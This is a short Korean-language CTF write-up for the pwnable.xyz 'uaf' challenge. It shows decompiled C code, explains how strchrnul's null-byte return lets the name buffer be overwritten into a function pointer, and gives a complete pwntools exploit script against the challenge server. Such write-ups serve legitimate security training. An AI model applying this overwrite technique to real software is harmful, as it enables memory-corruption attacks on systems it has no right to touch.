[pwnable.xyz]uaf
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rsi
const char *v4; // rdi
__int64 savedregs; // [rsp+10h] [rbp+0h]
setup();
initialize_game();
printf("Name: ", argv);
v3 = cur;
v4 = 0LL;
read(0, cur, 127uLL);
while ( 1 )
{
print_menu();
read_int32();
switch ( &savedregs )
{
case 0u:
return 0;
case 1u:
(*(cur + 17))(v4, v3);
break;
case 2u:
save_game();
break;
case 3u:
delete_save();
break;
case 4u:
v3 = cur;
v4 = "Save name: %s\n";
printf("Save name: %s\n", cur);
break;
case 5u:
edit_char();
break;
default:
v4 = "Invalid";
puts("Invalid");
break;
}
}
}
uaf를 이용해서 푸려고 했는데 _do_global_ctors_aux
함수에서 __free_hook에 핸들러 주소를 넣어서 uaf를 할 수 없다.
unsigned __int64 _do_global_ctors_aux()
{
__int64 v1; // [rsp+8h] [rbp-38h]
void *handle; // [rsp+10h] [rbp-30h]
char needle; // [rsp+21h] [rbp-1Fh]
char v4; // [rsp+22h] [rbp-1Eh]
char v5; // [rsp+23h] [rbp-1Dh]
char v6; // [rsp+24h] [rbp-1Ch]
char v7; // [rsp+25h] [rbp-1Bh]
char s; // [rsp+26h] [rbp-1Ah]
char v9; // [rsp+27h] [rbp-19h]
char v10; // [rsp+28h] [rbp-18h]
char v11; // [rsp+29h] [rbp-17h]
char v12; // [rsp+2Ah] [rbp-16h]
char v13; // [rsp+2Bh] [rbp-15h]
char name; // [rsp+2Ch] [rbp-14h]
char v15; // [rsp+2Dh] [rbp-13h]
char v16; // [rsp+2Eh] [rbp-12h]
char v17; // [rsp+2Fh] [rbp-11h]
char v18; // [rsp+30h] [rbp-10h]
char v19; // [rsp+31h] [rbp-Fh]
char v20; // [rsp+32h] [rbp-Eh]
char v21; // [rsp+33h] [rbp-Dh]
char v22; // [rsp+34h] [rbp-Ch]
char v23; // [rsp+35h] [rbp-Bh]
char v24; // [rsp+36h] [rbp-Ah]
char v25; // [rsp+37h] [rbp-9h]
unsigned __int64 v26; // [rsp+38h] [rbp-8h]
v26 = __readfsqword(0x28u);
s = 'e';
v9 = 'r';
v10 = 'r';
v11 = 'o';
v12 = 'r';
v13 = '\0';
v1 = qword_602008;
needle = 'l';
v4 = 'i';
v5 = 'b';
v6 = 'c';
v7 = 0;
while ( !strstr(*(v1 + 8), &needle) )
v1 = *(v1 + 24);
handle = dlopen(*(v1 + 8), 1);
if ( !handle )
{
puts(&s);
exit(1);
}
name = 95;
v15 = '_';
v16 = 'f';
v17 = 'r';
v18 = 'e';
v19 = 'e';
v20 = '_';
v21 = 'h';
v22 = 'o';
v23 = 'o';
v24 = 'k';
v25 = '\0';
*dlsym(handle, &name) = handler;
dlclose(handle);
return __readfsqword(0x28u) ^ v26;
}
*cur에서 값을 찾아서 replace해줄 수 있다.
int edit_char()
{
int result; // eax
unsigned __int8 v1; // [rsp+6h] [rbp-Ah]
char v2; // [rsp+7h] [rbp-9h]
puts("Edit a character from your name.");
printf("Char to replace: ");
v1 = getchar();
getchar();
printf("New char: ");
v2 = getchar();
result = getchar();
if ( v1 && v2 )
{
result = strchrnul(cur, v1);
if ( result )
*result = v2;
else
result = puts("Character not found.");
}
return result;
}
strchrnul함수에서 원하는 값이 없으면 널바이트 주소를 리턴해서 v2 값을 넣을 수 있다. 그래서 쭉 덮다가 뒤에 calc 함수 포인터를 win주소로 replace해주면 된다.
exploit.py
from pwn import *
context.log_level = 'debug'
e = ELF('./challenge')
# p = process('./challenge')
p = remote('svc.pwnable.xyz',30015)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
cur = 0x00000000006022C0 # (32)
saves = 0x00000000006022E0
win = 0x0000000000400cf3
def quit():
sa('>','0')
def play():
sa('>','1')
def save_game(name):
sa('>','2')
sa(':',name)
def delete_save(idx):
sa('>','3')
sa(':',str(idx))
def print_name():
sa('>','4')
def change_char(a,b):
sa('>','5')
sla(':',a)
sla(':',b)
sa(':','A'*127) # Name:
change_char('B','B')
change_char('C','C')
change_char('D','D')
change_char('E','E')
change_char('F','F')
change_char('\x0d','\x0c')
change_char('\x6b','\xf3')
play()
p.interactive()